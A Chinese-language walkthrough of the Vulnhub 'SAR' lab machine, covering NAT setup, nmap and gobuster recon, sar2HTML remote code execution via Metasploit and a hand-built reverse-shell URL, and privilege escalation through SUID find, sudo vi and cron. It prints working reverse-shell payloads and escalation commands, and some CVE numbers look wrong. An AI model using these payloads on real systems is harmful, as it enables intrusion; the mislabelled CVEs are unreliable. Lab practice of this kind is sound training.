
1. 项目概述与靶机环境搭建最近在Vulnhub上发现一个名为“SAR”的靶机它因一个经典的sar2HTML组件漏洞而闻名是练习Web应用渗透和权限提升的绝佳目标。这个靶机模拟了一个存在已知漏洞的服务器环境对于想从基础开始理解漏洞利用完整链条的朋友来说非常有价值。整个项目不仅涉及漏洞的发现与利用还绕不开一个前期关键步骤如何正确配置虚拟机的网络特别是NAT模式确保你的攻击机比如Kali Linux能和靶机正常通信。很多新手往往卡在这一步看着靶机却“打”不进去。所以这篇内容我会从最底层的网络配置讲起手把手带你搭建好实验环境然后一步步深入直到最终拿到靶机的最高权限。无论你是刚开始接触渗透测试还是想巩固一下基础流程都能从这里获得清晰的指引和可复现的操作。2. 核心思路与攻击路径规划面对一个未知的靶机盲目的扫描和测试效率很低。我们需要一个清晰的攻击思路。SAR靶机的核心突破口在于其Web服务中集成了一个存在漏洞的组件sar2HTML。我们的攻击路径可以规划为“信息收集 - 漏洞定位与验证 - 漏洞利用获取初始立足点 - 权限提升拿到root”。信息收集阶段我们需要确定靶机的IP地址和开放的端口服务特别是Web服务。漏洞定位阶段我们将重点检查Web应用寻找sar2HTML的踪迹并确认其版本。利用阶段我们会使用该版本对应的公开漏洞利用代码Exploit来获取一个反向Shell连接。最后在权限提升阶段我们需要在靶机内部寻找配置错误、SUID文件或内核漏洞等机会将我们的用户权限提升至root。整个过程的逻辑链条非常清晰关键在于每一步的细致操作和对反馈信息的正确解读。2.1 为什么选择NAT网络模式在虚拟机环境中网络连接方式主要有桥接Bridged、NAT和仅主机Host-Only。对于渗透测试实验NAT模式是最推荐、也是最安全的选择。原因有三点首先隔离性。NAT模式下靶机和你的攻击机Kali处于一个由虚拟机软件如VMware或VirtualBox创建的虚拟网络中这个网络与你的物理主机所在的真实网络是隔离的。这意味着你的扫描和攻击行为只会在这个虚拟网络内发生不会误伤到同一局域网下的其他真实设备完全符合安全实验的伦理要求。其次便利性。虚拟机软件会充当虚拟路由器DHCP服务器自动为靶机和Kali分配IP地址通常是192.168.xx.xx网段它们之间可以互相通信同时Kali还能通过主机的网络连接访问互联网方便我们下载工具或查找资料。最后可预测性。在稳定的NAT网络下IP地址段相对固定便于我们快速定位靶机IP。注意有些教程可能会提到桥接模式它让虚拟机直接接入物理网络获得一个和物理机同网段的真实IP。这在需要模拟外部攻击时有用但对于Vulnhub这类个人实验靶机NAT模式完全足够且更安全避免了IP冲突和潜在的网络策略限制。2.2 靶机与攻击机环境准备工欲善其事必先利其器。我们需要准备两台虚拟机。攻击机Kali Linux这是我们的“武器库”。建议从官方网站下载最新的Kali Linux镜像并使用VMware或VirtualBox安装。安装时网络适配器直接选择“NAT模式”。安装完成后启动Kali在终端输入ip a或ifconfig命令查看并记录下自动获取的IP地址例如192.168.1.10。同时确保系统更新到最新sudo apt update sudo apt upgrade -y。靶机Vulnhub SAR从Vulnhub官网搜索并下载“SAR”靶机的OVA或压缩包文件。下载后直接导入到你的虚拟机软件中。关键步骤来了导入后先不要启动靶机。右键点击靶机进入“设置”或“配置”。找到“网络”选项将网络适配器也修改为“NAT模式”。在某些版本如VMware中你可能会看到一个“高级”选项点击后可以手动“生成”一个新的MAC地址这有助于避免潜在的冲突点击“生成”然后确认即可。完成这些设置后再启动靶机。启动后我们需要知道靶机的IP地址。由于NAT模式下是DHCP自动分配我们无法预先知道。这时需要在攻击机Kali上进行扫描发现。3. 信息收集与目标侦察在发动任何“攻击”之前充分的侦察是成功的一半。这个阶段的目标是绘制出靶机的网络地图它在哪里IP地址它开了哪些门开放端口这些门后面是什么运行的服务3.1 网络扫描定位靶机IP首先我们需要找出靶机在虚拟网络中的IP地址。最常用的工具是nmap。我们先扫描整个NAT网段。确定扫描范围在Kali上用ip a查看自己的IP假设是192.168.1.10那么子网很可能就是192.168.1.0/24。进行存活主机扫描打开终端输入命令sudo nmap -sn 192.168.1.0/24这个-sn参数代表 Ping 扫描只探测主机是否在线不扫描端口。命令执行后nmap会列出所有在线的主机。除了你的Kali192.168.1.10和可能的网关192.168.1.1或2那个新出现的、主机名可能包含“sar”或未知的IP就是我们的靶机。假设我们发现了192.168.1.15。3.2 端口与服务深度扫描找到IP后下一步是进行全面的端口扫描了解靶机对外开放了哪些服务。sudo nmap -sS -sV -O -p- 192.168.1.15这个命令组合非常强大-sS: 进行TCP SYN半开放扫描速度快且相对隐蔽。-sV: 探测端口上运行的服务及其版本信息这对寻找漏洞至关重要。-O: 尝试识别靶机的操作系统。-p-: 扫描所有65535个端口确保没有遗漏。扫描完成后我们会得到一份详细的报告。对于SAR靶机典型的扫描结果会显示开放了两个端口端口 22/tcp: 运行着OpenSSH服务。这是远程管理端口通常是我们尝试暴力破解或利用SSH漏洞的地方但往往不是最易突破的点。端口 80/tcp: 运行着Apache httpd服务。这就是我们的主攻方向——Web应用。报告里还会显示Apache的版本号以及更重要的信息网站标题或者某些目录线索。此时我们应该立即用浏览器访问http://192.168.1.15进行人工查看。3.3 Web应用目录与敏感文件发现访问靶机的Web页面可能会看到一个默认的Apache页面或者一个简单的应用界面。我们需要使用工具进行更深层次的目录和文件枚举寻找隐藏的入口点比如管理后台、配置文件、备份文件等。这里使用gobuster或dirb。gobuster dir -u http://192.168.1.15 -w /usr/share/wordlists/dirb/common.txt -x php,html,txtdir: 指定进行目录爆破模式。-u: 指定目标URL。-w: 指定字典文件这里使用了Kali自带的常见目录字典。-x: 指定尝试的文件扩展名如php、html等。扫描结果中一个名为/sar2HTML的目录极有可能出现。这立刻将我们的注意力引向了标题中提到的sar2HTML组件。访问http://192.168.1.15/sar2HTML如果能看到一个系统监控图表页面并且在页面底部或帮助信息中看到类似“sar2HTML Version 3.2.1”的字样那么漏洞目标就基本确认了。4. 漏洞分析与利用突破sar2HTML找到疑似存在漏洞的组件后我们不能盲目行动需要先分析漏洞原理再寻找或制作利用工具。4.1 sar2HTML漏洞CVE-2007-3999原理浅析sar2HTML 是一个用PHP编写的、用于可视化系统性能数据sar命令输出的工具。在3.2.1及之前的版本中存在一个致命的**远程代码执行RCE**漏洞。漏洞根源在于其index.php文件对用户传入的参数过滤不严。简单来说该应用通过plot参数来指定生成图表的数据文件。攻击者可以通过构造特殊的plot参数值例如|ls -la利用PHP的popen()或system()等函数执行系统命令。管道符|在Unix/Linux中用于将前一个命令的输出作为后一个命令的输入而sar2HTML错误地将其传递给了系统Shell执行从而导致任意命令执行。4.2 利用Metasploit框架进行自动化攻击对于这类有公开Exploit的经典漏洞使用Metasploit框架可以快速、稳定地完成利用。Metasploit内集成了针对该漏洞的利用模块。启动Metasploit在Kali终端输入msfconsole。搜索模块在msf6提示符下输入search sar2html。通常会找到一个名为exploit/linux/http/sar2html_exec的模块。使用模块use exploit/linux/http/sar2html_exec设置参数set RHOSTS 192.168.1.15 # 设置靶机IP set TARGETURI /sar2HTML # 设置漏洞路径如果就在根目录则不用设选择Payload我们需要一个反向Shell让靶机主动连接回我们的攻击机。set payload php/meterpreter/reverse_tcp set LHOST 192.168.1.10 # 设置Kali的IP用于接收连接 set LPORT 4444 # 设置监听端口执行攻击exploit如果一切顺利你会看到[*] Sending stage ...和[*] Meterpreter session 1 opened的提示表示已经成功在靶机上执行了代码并建立了一个Meterpreter会话。输入shell命令就可以获得一个靶机的交互式命令行Shell通常是一个www-data用户的权限Apache服务运行账户。实操心得使用Metasploit时LHOST参数必须正确设置为攻击机Kali在NAT网络内的IP而不是物理机的IP。这是新手最容易出错的地方之一。如果exploit后长时间没反应可以检查LHOST设置并确保Kali上没有防火墙阻挡4444端口的入站连接。4.3 手动利用与脚本分析除了Metasploit理解手动利用过程也很有价值。我们可以从Exploit-DB等网站找到公开的Python利用脚本。使用脚本前最好简单阅读一下代码。一个典型的手动利用步骤是在Kali上使用nc(Netcat) 监听一个端口nc -lvnp 4444。构造一个特殊的URL通过plot参数执行反向Shell命令。例如http://192.168.1.15/sar2HTML/index.php?plot;php-r$sockfsockopen(192.168.1.10,4444);exec(/bin/sh-i3323);这个URL访问后会尝试让靶机执行PHP代码连接到Kali的4444端口并弹回一个Shell。如果成功在nc的监听窗口就会看到靶机的Shell提示符。手动利用的成功率受环境如PHP函数禁用情况影响较大而Metasploit的模块通常经过了更多测试和适配。5. 权限提升从www-data到root拿到初始Shellwww-data用户只是第一步这个权限通常很低无法读取敏感文件如/etc/shadow或进行系统级操作。我们的最终目标是root权限。这个过程称为权限提升Privilege Escalation。5.1 内部信息收集在靶机内部我们需要收集尽可能多的信息来寻找提权线索。以下是一些关键命令id: 查看当前用户和所属组。uname -a: 查看系统内核版本用于寻找内核漏洞。sudo -l:非常重要查看当前用户可以使用sudo执行哪些命令。如果配置不当可能允许以root身份运行特定程序。find / -type f -perm -4000 2/dev/null: 查找具有SUID权限的文件。SUID文件在执行时会以文件所有者的身份运行。如果找到一个属主是root且可写的SUID文件可能就是突破口。cat /etc/crontab: 查看系统定时任务。是否有以root身份运行的、我们可以修改或影响的脚本ps aux: 查看运行中的进程寻找异常或以root运行的服务。netstat -tulpn: 查看网络连接和监听端口寻找内部服务。5.2 常见提权路径实战在SAR靶机中经过枚举我们可能会发现以下几种典型的提权路径之一路径一利用配置不当的SUID文件执行find / -type f -perm -4000 2/dev/null后仔细检查列表。常见的危险SUID程序有nmap旧版本、vim、bash、find、cp、mv等。例如如果发现/usr/bin/find有SUID位且属主是root可以尝试利用其执行命令/usr/bin/find . -exec /bin/bash -p \; -quit这里的-exec参数允许执行命令-p参数会让bash保留特权。执行后可能直接获得一个root shell。路径二利用sudo权限滥用运行sudo -l后如果返回显示当前用户www-data可以以root身份无需密码运行某个命令例如/usr/bin/vi那么sudo vi /etc/passwd在vi中可以通过:!bash或:shell命令逃逸到Shell因为这个Shell是由sudo启动的vi衍生的所以具有root权限。路径三利用内核漏洞如果uname -a显示内核版本较老可以搜索对应的本地提权漏洞如DirtyCow, CVE-2016-5199。在Kali上找到对应的Exploit代码C语言编译后上传到靶机可以用Python的HTTP模块在Kali起一个简易服务器python3 -m http.server 8000然后在靶机用wget下载编译执行即可。但这种方法风险较高可能造成系统崩溃在靶机环境中最后尝试。路径四利用定时任务Cron Job查看/etc/crontab如果发现有一个以root身份定期运行的脚本且这个脚本的路径我们www-data用户有写入权限那么我们可以替换这个脚本的内容。例如写入一个反向Shell命令到脚本中等待Cron执行我们就能收到一个root权限的Shell连接。在SAR靶机的实际渗透中通常会发现一条比较清晰的提权路径。例如可能在/home目录下发现其他用户的目录里面有可读的备份文件或脚本其中包含了密码信息或者密钥。又或者通过枚举发现了一个非root用户并且通过查看其历史命令.bash_history或配置文件找到了可以sudo执行的命令。5.3 获取最终Flag在Vulnhub的靶机中最终目标往往是找到“flag”通常是一个位于/root目录下名为flag.txt或proof.txt的文件。当我们通过上述任何一种方法成功将权限提升到root后就可以直接读取这个文件了。cat /root/flag.txt看到文件内容就意味着整个渗透测试挑战成功完成。6. 渗透测试后的清理与反思成功拿到flag并不是终点。一个专业的渗透测试行为还包括在授权范围内清理痕迹并撰写报告。对于我们的实验环境清理痕迹检查我们上传的工具、创建的临时文件、修改的系统配置如crontab、webshell等并尽可能将其恢复原状。在Meterpreter会话中可以使用rm命令删除上传的文件。反思总结回顾整个流程。哪里遇到了问题是如何解决的sar2HTML漏洞的根源是什么如何防御例如及时更新或移除有漏洞的组件对用户输入进行严格过滤和校验。提权利用的点是什么是配置错误还是软件漏洞对应的安全加固措施是什么例如遵循最小权限原则定期审计SUID文件和sudo权限保持系统和内核更新。这个过程不仅能巩固技术更能培养安全思维。每一次对靶机的攻克都是对攻击者视角的一次体验而这最终是为了更好地从防御者角度去构建安全体系。7. NAT网络疑难杂症与排查指南即便按照步骤操作网络问题仍是最常见的“拦路虎”。这里汇总一些在NAT模式下可能遇到的问题及解决方法。问题1Kali能上网但扫描不到靶机IP。排查确认两台虚拟机的网络适配器是否都设置为“NAT模式”而非“NAT网络”或“桥接”。在VMware中确保它们连接到“相同的网络”如VMnet8。解决在Kali上尝试扫描更大的网段比如192.168.0.0/16。使用arp-scan工具可能更直接sudo arp-scan --localnet。最根本的方法是查看靶机的控制台在登录界面往往能看到分配的IP地址。问题2能扫描到靶机IP但端口扫描显示所有端口都关闭或过滤。排查首先确认靶机是否完全启动完毕等待几分钟。其次检查靶机自身的防火墙是否开启。在SAR靶机里可能默认开启了iptables或ufw。解决这通常是靶机设计的一部分可能需要你先从开放的80端口Web服务入手。如果确定是防火墙且你有其他途径如虚拟机控制台操作靶机可以尝试关闭防火墙实验环境sudo ufw disable或sudo iptables -F。问题3Metasploit exploit执行后session创建失败。排查这是最复杂的情况。分步检查Payload兼容性靶机是x86还是x64PHP版本是多少尝试更换Payload比如用php/reverse_php替代php/meterpreter/reverse_tcp。网络连通性在Kali上telnet 靶机IP 80看Web服务是否真的可访问。在靶机如果能有简单命令执行上尝试ping Kali_IP。反连端口被阻尝试更换LPORT为其他高端口如443、53、8080有些环境会过滤非常用端口。Exploit模块问题尝试使用check命令验证漏洞是否存在并非所有模块支持。也可以搜索其他非Metasploit的手动利用脚本。问题4获得Shell后连接不稳定或立即中断。解决这是非交互式Shell的常见问题。使用Python快速建立一个更稳定的TTY Shellpython3 -c import pty; pty.spawn(/bin/bash)或者/bin/bash -i如果Python可用这是首选方法。问题5WSL2中的Kali与VMware中的靶机无法通信。背景如果你在Windows上用WSL2运行Kali用VMware运行靶机由于两者处于不同的虚拟网络层默认无法直接通信。解决这不是NAT配置问题而是混合虚拟化环境的问题。最可靠的解决方案是避免混用。要么全部使用VMwareKali和靶机都用VMware虚拟机要么全部使用VirtualBox。如果必须混用需要将VMware靶机的网络设置为“桥接模式”并确保它与Windows主机在同一物理网络段然后在WSL2的Kali中尝试访问Windows主机的IP段。这个过程非常复杂且不稳定强烈不建议新手采用。网络问题是渗透测试实验的基础耐心按照“检查配置 - 验证连通性 - 分层排查”的思路大部分问题都能解决。记住在虚拟网络里确保攻击机和靶机在同一个“虚拟交换机”下是通信成功的第一前提。